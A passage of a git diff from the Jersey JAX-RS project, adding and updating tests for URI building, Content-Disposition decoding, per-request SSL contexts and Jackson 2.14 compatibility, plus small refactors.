+                           HttpServletResponse response) throws IOException {
+            boolean expected = request.getHeader("Expect") != null;
+            boolean failed = false;
+            if (target.equals("/" + RESOURCE_PATH_NOT_SUPPORTED)) {
+                response.sendError(417);
+                failed = true;
+            }
+            if (target.equals("/" + RESOURCE_PATH_UNAUTHORIZED)) {
+                response.sendError(401);
+                failed = true;
+            }
+            if (target.equals("/" + RESOURCE_PATH_PAYLOAD_TOO_LARGE)) {
+                response.sendError(413);
+                failed = true;
+            }
+            if (target.equals("/" + RESOURCE_PATH_METHOD_NOT_SUPPORTED)) {
+                response.sendError(405);
+                failed = true;
+            }
+            if (expected && !failed) {
+                System.out.println("Expect:100-continue found, sending response header");
+                response.setStatus(204);
+            }
+            response.getWriter().println();
+            response.flushBuffer();
+            baseRequest.setHandled(true);
+
+            request.getReader().lines().forEach(System.out::println);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java
index 88c1496..6212b3f 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import java.net.URI;
 import java.net.URISyntaxException;
 import java.net.URL;
+import java.net.URLEncoder;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -29,6 +30,7 @@
 import jakarta.ws.rs.GET;
 import jakarta.ws.rs.Path;
 import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.core.Link;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.PathSegment;
 import jakarta.ws.rs.core.UriBuilder;
@@ -1657,6 +1659,31 @@
                          "key1=val1&key1=val2&key2=val1&key1=val3");
     }
 
+
+    @Test
+    public void testQueryParam() {
+        URI uri = new JerseyUriBuilder().scheme("http").host("localhost").port(8080).uri("some")
+                    .replacePath("NewPath")
+                    .replaceQuery("&Second")
+                    .build();
+        Assertions.assertEquals("&Second", uri.getQuery());
+    }
+
+
+    @Test
+    void testFragment5269() throws URISyntaxException {
+        final URI uri = new URI("http://www.example.org/foo.xml#xpointer(//Rube)").normalize();
+        Assertions.assertEquals(uri, UriBuilder.fromUri(uri).build()); // prints "http://www.example.org/foo.xml#xpointer(//Rube)"
+        Assertions.assertEquals(uri, UriBuilder.fromUri(uri).fragment("xpointer(//{type})").build("Rube"));
+    }
+
+    @Test
+    public void test5416() {
+        URI uri = UriBuilder.fromUri("http://host.com/path%20path/.test.jpg").build();
+        Link link = Link.fromUri(uri).build();
+        Assertions.assertEquals(uri, link.getUri());
+    }
+
     private void checkQueryFormat(String fromUri, JerseyQueryParamStyle queryParamStyle, String expected) {
         final URI uri = ((JerseyUriBuilder) UriBuilder.fromUri(fromUri))
                 .setQueryParamStyle(queryParamStyle)
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
index b3a17f3..529b93b 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -46,6 +46,7 @@
 import org.glassfish.jersey.internal.ServiceFinderBinder;
 import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
@@ -145,7 +146,7 @@
                 MediaType mediaType,
                 MultivaluedMap<String, String> httpHeaders,
                 InputStream entityStream) throws IOException {
-            return new UselessMessage(readFromAsString(entityStream, mediaType));
+            return new UselessMessage(ReaderWriter.readFromAsString(entityStream, mediaType));
         }
 
         @Override
@@ -167,7 +168,7 @@
                 MediaType mediaType,
                 MultivaluedMap<String, Object> httpHeaders,
                 OutputStream entityStream) throws IOException {
-            writeToAsString(t.getMessage(), entityStream, mediaType);
+            ReaderWriter.writeToAsString(t.getMessage(), entityStream, mediaType);
         }
     } // class UselessMessageBodyWriter
 
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java
index c0b49d5..1aa0a65 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/SingletonProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,6 +40,7 @@
 import jakarta.ws.rs.ext.Provider;
 
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.spi.ContextResolvers;
 import org.glassfish.jersey.test.JerseyTest;
@@ -224,7 +225,7 @@
                 MediaType mediaType,
                 MultivaluedMap<String, String> httpHeaders,
                 InputStream entityStream) throws IOException {
-            return readFromAsString(entityStream, mediaType) + this + ":" + readerCounter++;
+            return ReaderWriter.readFromAsString(entityStream, mediaType) + this + ":" + readerCounter++;
         }
 
         @Override
@@ -246,7 +247,7 @@
                 MediaType mediaType,
                 MultivaluedMap<String, Object> httpHeaders,
                 OutputStream entityStream) throws IOException {
-            writeToAsString(t + this + ":" + counter++, entityStream, mediaType);
+            ReaderWriter.writeToAsString(t + this + ":" + counter++, entityStream, mediaType);
         }
     }
 }
diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java
new file mode 100644
index 0000000..944f284
--- /dev/null
+++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SslContextPerRequestTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.tls;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.HttpUrlConnectorProvider;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+import org.glassfish.jersey.client.SslContextClientBuilder;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.netty.connector.NettyClientProperties;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.MethodSource;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Invocation;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.UriBuilder;
+import java.io.InputStream;
+import java.net.URI;
+import java.security.KeyStore;
+import java.security.NoSuchAlgorithmException;
+import java.util.Optional;
+import java.util.function.Supplier;
+import java.util.stream.Stream;
+
+public class SslContextPerRequestTest extends JerseyTest {
+
+    private SSLContext serverSslContext;
+    private SSLParameters serverSslParameters;
+    private static final String MESSAGE = "Message for Netty with SSL";
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() {
+        return new GrizzlyTestContainerFactory();
+    }
+
+    @Path("secure")
+    public static class TestResource {
+        @GET
+        public String get(@Context HttpHeaders headers) {
+            return MESSAGE;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(TestResource.class);
+    }
+
+    @Override
+    protected URI getBaseUri() {
+        return UriBuilder
+                .fromUri("https://localhost")
+                .port(getPort())
+                .build();
+    }
+
+    @Override
+    protected Optional<SSLContext> getSslContext() {
+        if (serverSslContext == null) {
+            serverSslContext = SslUtils.createServerSslContext();
+        }
+
+        return Optional.of(serverSslContext);
+    }
+
+    @Override
+    protected Optional<SSLParameters> getSslParameters() {
+        if (serverSslParameters == null) {
+            serverSslParameters = new SSLParameters();
+            serverSslParameters.setNeedClientAuth(false);
+        }
+
+        return Optional.of(serverSslParameters);
+    }
+
+    public static Stream<ConnectorProvider> connectorProviders() {
+        return Stream.of(
+                new HttpUrlConnectorProvider(),
+                new NettyConnectorProvider()
+        );
+    }
+
+    @ParameterizedTest
+    @MethodSource("connectorProviders")
+    public void sslOnRequestTest(ConnectorProvider connectorProvider) throws NoSuchAlgorithmException {
+        Supplier<SSLContext> clientSslContext = SslUtils.createClientSslContext();
+
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(connectorProvider);
+        config.property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.BUFFERED);
+
+        Client client = ClientBuilder.newBuilder().withConfig(config).build();
+
+        WebTarget target = client.target(getBaseUri()).path("secure");
+
+        String s;
+
+        s = target.request()
+                .property(ClientProperties.SSL_CONTEXT_SUPPLIER, clientSslContext)
+                .get(String.class);
+        Assertions.assertEquals(MESSAGE, s);
+
+        try {
+            Invocation.Builder builder = target.request()
+                    .property(ClientProperties.SSL_CONTEXT_SUPPLIER,
+                            new SslContextClientBuilder().sslContext(SSLContext.getDefault()));
+
+            if (NettyConnectorProvider.class.isInstance(connectorProvider)) {
+                    builder = builder.header(HttpHeaders.HOST, "TestHost"); // New Netty channel without SSL yet
+            }
+            s = builder.get(String.class);
+            Assertions.fail("The SSL Exception has not been thrown");
+        } catch (ProcessingException pe) {
+            // expected
+        }
+
+        s = target.request()
+                .property(ClientProperties.SSL_CONTEXT_SUPPLIER, clientSslContext)
+                .get(String.class);
+        Assertions.assertEquals(MESSAGE, s);
+    }
+
+    @ParameterizedTest
+    @MethodSource("connectorProviders")
+    public void testSslOnClient(ConnectorProvider connectorProvider) {
+        Supplier<SSLContext> clientSslContext = SslUtils.createClientSslContext();
+
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(connectorProvider);
+
+        Client client = ClientBuilder.newBuilder().withConfig(config)
+                .sslContext(clientSslContext.get())
+                .build();
+
+        WebTarget target = client.target(getBaseUri()).path("secure");
+
+        String s = target.request().get(String.class);
+        Assertions.assertEquals(MESSAGE, s);
+    }
+
+    private static class SslUtils {
+
+        private static final String SERVER_IDENTITY_PATH = "server-identity.jks";
+        private static final char[] SERVER_IDENTITY_PASSWORD = "secret".toCharArray();
+
+        private static final String CLIENT_TRUSTSTORE_PATH = "client-truststore.jks";
+        private static final char[] CLIENT_TRUSTSTORE_PASSWORD = "secret".toCharArray();
+
+        private static final String KEYSTORE_TYPE = "PKCS12";
+
+        private SslUtils() {}
+
+        public static SSLContext createServerSslContext() {
+            return new SslContextClientBuilder()
+                    .keyStore(getKeyStore(SERVER_IDENTITY_PATH, SERVER_IDENTITY_PASSWORD), SERVER_IDENTITY_PASSWORD)
+                    .get();
+        }
+
+        public static Supplier<SSLContext> createClientSslContext() {
+            return new SslContextClientBuilder()
+                    .trustStore(getKeyStore(CLIENT_TRUSTSTORE_PATH, CLIENT_TRUSTSTORE_PASSWORD));
+
+        }
+
+        private static KeyStore getKeyStore(String path, char[] keyStorePassword) {
+            try (InputStream inputStream = getResource(path)) {
+                KeyStore keyStore = KeyStore.getInstance(KEYSTORE_TYPE);
+                keyStore.load(inputStream, keyStorePassword);
+                return keyStore;
+            } catch (Exception e) {
+                throw new ProcessingException(e);
+            }
+        }
+
+        private static InputStream getResource(String path) {
+            return SslUtils.class.getClassLoader().getResourceAsStream(path);
+        }
+    }
+}
diff --git a/tests/e2e-tls/src/test/resources/client-truststore.jks b/tests/e2e-tls/src/test/resources/client-truststore.jks
new file mode 100644
index 0000000..539185f
--- /dev/null
+++ b/tests/e2e-tls/src/test/resources/client-truststore.jks
Binary files differ
diff --git a/tests/e2e-tls/src/test/resources/server-identity.jks b/tests/e2e-tls/src/test/resources/server-identity.jks
new file mode 100644
index 0000000..76a21aa
--- /dev/null
+++ b/tests/e2e-tls/src/test/resources/server-identity.jks
Binary files differ
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
index f54685f..c4bcd53 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -102,7 +102,7 @@
     @Test
     public void testFileNameExt() {
         final String fileName = "test.file";
-        String fileNameExt;
+        String fileNameExt = null;
         String encodedFilename;
         try {
             //incorrect fileNameExt - does not contain charset''
@@ -217,15 +217,32 @@
             assertFileNameExt(fileNameExt, fileName, fileNameExt);
 
         } catch (ParseException ex) {
-            fail(ex.getMessage());
+            fail(ex.getMessage() + " for " + fileNameExt);
         }
     }
 
+    @Test
+    void testDecoding() throws ParseException {
+        final String fileName = "Ueberflieger.jpg";
+        final String extendedFilename = "UTF-8'de'%C3%9Cberflieger.jpg";
+        assertFileNameExt("Überflieger.jpg", fileName, extendedFilename, true);
+    }
+
+
     private void assertFileNameExt(
             final String expectedFileName,
             final String actualFileName,
             final String actualFileNameExt
     ) throws ParseException {
+        assertFileNameExt(expectedFileName, actualFileName, actualFileNameExt, false);
+    }
+
+    private void assertFileNameExt(
+            final String expectedFileName,
+            final String actualFileName,
+            final String actualFileNameExt,
+            final boolean decode
+    ) throws ParseException {
         final Date date = new Date();
         final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
         final String prefixHeader = contentDispositionType + ";filename=\"" + actualFileName + "\";"
@@ -233,7 +250,7 @@
                 + dateString + "\";size=1222" + ";name=\"testData\";" + "filename*=\"";
         final String header = prefixHeader + actualFileNameExt + "\"";
         final ContentDisposition contentDisposition = new ContentDisposition(HttpHeaderReader.newInstance(header), true);
-        assertEquals(expectedFileName, contentDisposition.getFileName());
+        assertEquals(expectedFileName, contentDisposition.getFileName(decode));
     }
 
     protected void assertContentDisposition(final ContentDisposition contentDisposition, Date date) {
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java
index 62d71ca..6b0fcda 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/UnsafeCharsInUriTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
 import java.io.PrintWriter;
 import java.net.Socket;
 import java.net.URI;
-import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 
 import jakarta.ws.rs.DefaultValue;
 import jakarta.ws.rs.GET;
@@ -78,7 +78,7 @@
         // quotes are encoded by browsers, curly brackets are not, so the quotes will be sent pre-encoded
         // HTTP 1.0 is used for simplicity
         String response = sendGetRequestOverSocket(getBaseUri(), "GET /app/test?msg={%22foo%22:%22bar%22} HTTP/1.0");
-        assertArrayEquals("{\"foo\":\"bar\"}".getBytes(Charset.forName("ISO-8859-1")), response.getBytes());
+        assertArrayEquals("{\"foo\":\"bar\"}".getBytes(StandardCharsets.ISO_8859_1), response.getBytes());
     }
 
     @Test
@@ -89,7 +89,7 @@
         String response = sendGetRequestOverSocket(getBaseUri(),
                                             "GET /app/test?msg=Hello\\World+With+SpecChars+§*)$!±@-_=;`:\\,~| HTTP/1.0");
 
-        assertArrayEquals("Hello\\World With SpecChars §*)$!±@-_=;`:\\,~|".getBytes(Charset.forName("ISO-8859-1")),
+        assertArrayEquals("Hello\\World With SpecChars §*)$!±@-_=;`:\\,~|".getBytes(StandardCharsets.ISO_8859_1),
                      response.getBytes());
     }
 
@@ -99,14 +99,14 @@
         final Socket socket = new Socket(baseUri.getHost(), baseUri.getPort());
         final PrintWriter pw =
                 new PrintWriter(
-                        new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), Charset.forName("ISO-8859-1"))));
+                        new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), StandardCharsets.ISO_8859_1)));
 
         pw.println(requestLine);
         pw.println(); // http request should end with a blank line
         pw.flush();
 
         final BufferedReader br =
-                new BufferedReader(new InputStreamReader(socket.getInputStream(), Charset.forName("UTF-8")));
+                new BufferedReader(new InputStreamReader(socket.getInputStream(), StandardCharsets.UTF_8));
 
         String lastLine = null;
         String line;
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java
index 7cab7f8..6a8ae47 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/ProvidersOrderingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -45,6 +45,7 @@
 
 import org.glassfish.jersey.message.MessageBodyWorkers;
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
@@ -403,7 +404,7 @@
                 MultivaluedMap<String, String> httpHeaders,
                 InputStream entityStream) throws IOException {
             ByteArrayOutputStream out = new ByteArrayOutputStream();
-            writeTo(entityStream, out);
+            ReaderWriter.writeTo(entityStream, out);
             counter++;
             return out.toByteArray();
         }
diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml
new file mode 100644
index 0000000..0ef4f03
--- /dev/null
+++ b/tests/integration/jackson-14/pom.xml
@@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.tests.integration</groupId>
+        <version>3.0.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jackson-14</artifactId>
+    <name>jersey-compatibility-jackson14</name>
+    <description>
+        Controls the backward compatibility with Jackson 2.14 environment
+    </description>
+
+    <properties>
+        <jackson14.version>2.14.1</jackson14.version>
+    </properties>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-enforcer-plugin</artifactId>
+                <version>${enforcer.mvn.plugin.version}</version>
+                <executions>
+                    <execution>
+                        <id>enforce-versions</id>
+                        <goals>
+                            <goal>enforce</goal>
+                        </goals>
+                        <configuration>
+                            <fail>false</fail>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-common</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-client</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>com.fasterxml.jackson.core</groupId>
+                    <artifactId>jackson-annotations</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>com.fasterxml.jackson.core</groupId>
+                    <artifactId>jackson-databind</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>com.fasterxml.jackson.core</groupId>
+                    <artifactId>jackson-core</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-annotations</artifactId>
+            <version>${jackson14.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-databind</artifactId>
+            <version>${jackson14.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-core</artifactId>
+            <version>${jackson14.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+</project>
\ No newline at end of file
diff --git a/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java b/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java
new file mode 100644
index 0000000..f05be49
--- /dev/null
+++ b/tests/integration/jackson-14/src/test/java/org/glassfish/jersey/integration/jackson14/Jackson14DependencyTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.integration.jackson14;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.node.TextNode;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+
+public class Jackson14DependencyTest {
+
+    @Test
+    void testJackson15Feature() {
+        try (Response response = ClientBuilder.newClient()
+                .register(JacksonFeature.withExceptionMappers().maxStringLength(3))
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        requestContext.abortWith(Response.ok(new TextNode("12345"))
+                                .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_TYPE)
+                                .build());
+                    }
+                })
+                .target("http://localhost:8080")
+                .request().get()) {
+            Assertions.assertEquals(200, response.getStatus());
+            JsonNode node = response.readEntity(JsonNode.class);
+            Assertions.assertEquals("12345", node.asText()); // Jackson 15 throws ProcessingException
+        }
+    }
+}
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml
index 7e5c726..4a5c0f2 100644
--- a/tests/integration/pom.xml
+++ b/tests/integration/pom.xml
@@ -42,6 +42,7 @@
         <module>j-376</module>
         <module>j-441</module>
         <module>j-59</module>
+        <module>jackson-14</module>
         <module>jersey-2136</module>
         <module>jersey-2137</module>
         <module>jersey-2154</module>
diff --git a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
index 342100e..05391bc 100644
--- a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
+++ b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,6 @@
 
 package org.glassfish.jersey.tests.performance.jmxclient;
 
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.util.Properties;
 import javax.management.MBeanServerConnection;
@@ -81,6 +80,6 @@
     private static void writeResult(double resultValue, String propertiesFile) throws IOException {
         Properties resultProps = new Properties();
         resultProps.put("YVALUE", Double.toString(resultValue));
-        resultProps.store(new FileOutputStream(propertiesFile), null);
+        resultProps.store(Files.newOutputStream(Paths.get(propertiesFile)), null);
     }
 }
diff --git a/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java b/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java
index 351881a..050f07d 100644
--- a/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java
+++ b/tests/performance/tools/src/main/java/org/glassfish/jersey/tests/performance/tools/TestDataGeneratorApp.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,11 +18,11 @@
 
 import java.io.BufferedWriter;
 import java.io.File;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.OutputStreamWriter;
 import java.net.URI;
 import java.nio.charset.Charset;
+import java.nio.file.Files;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.logging.Level;
@@ -134,7 +134,7 @@
 
         final File file = new File(fileName);
         final BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(
-                new FileOutputStream(file), Charset.forName("UTF-8")));
+                Files.newOutputStream(file.toPath()), Charset.forName("UTF-8")));
 
         int actualSize = 0;
         while (actualSize < minimalSize) {
diff --git a/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java b/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java
index 68d0a14..20e7737 100644
--- a/tests/release-test/src/main/java/org/glassfish/jersey/test/artifacts/MavenUtil.java
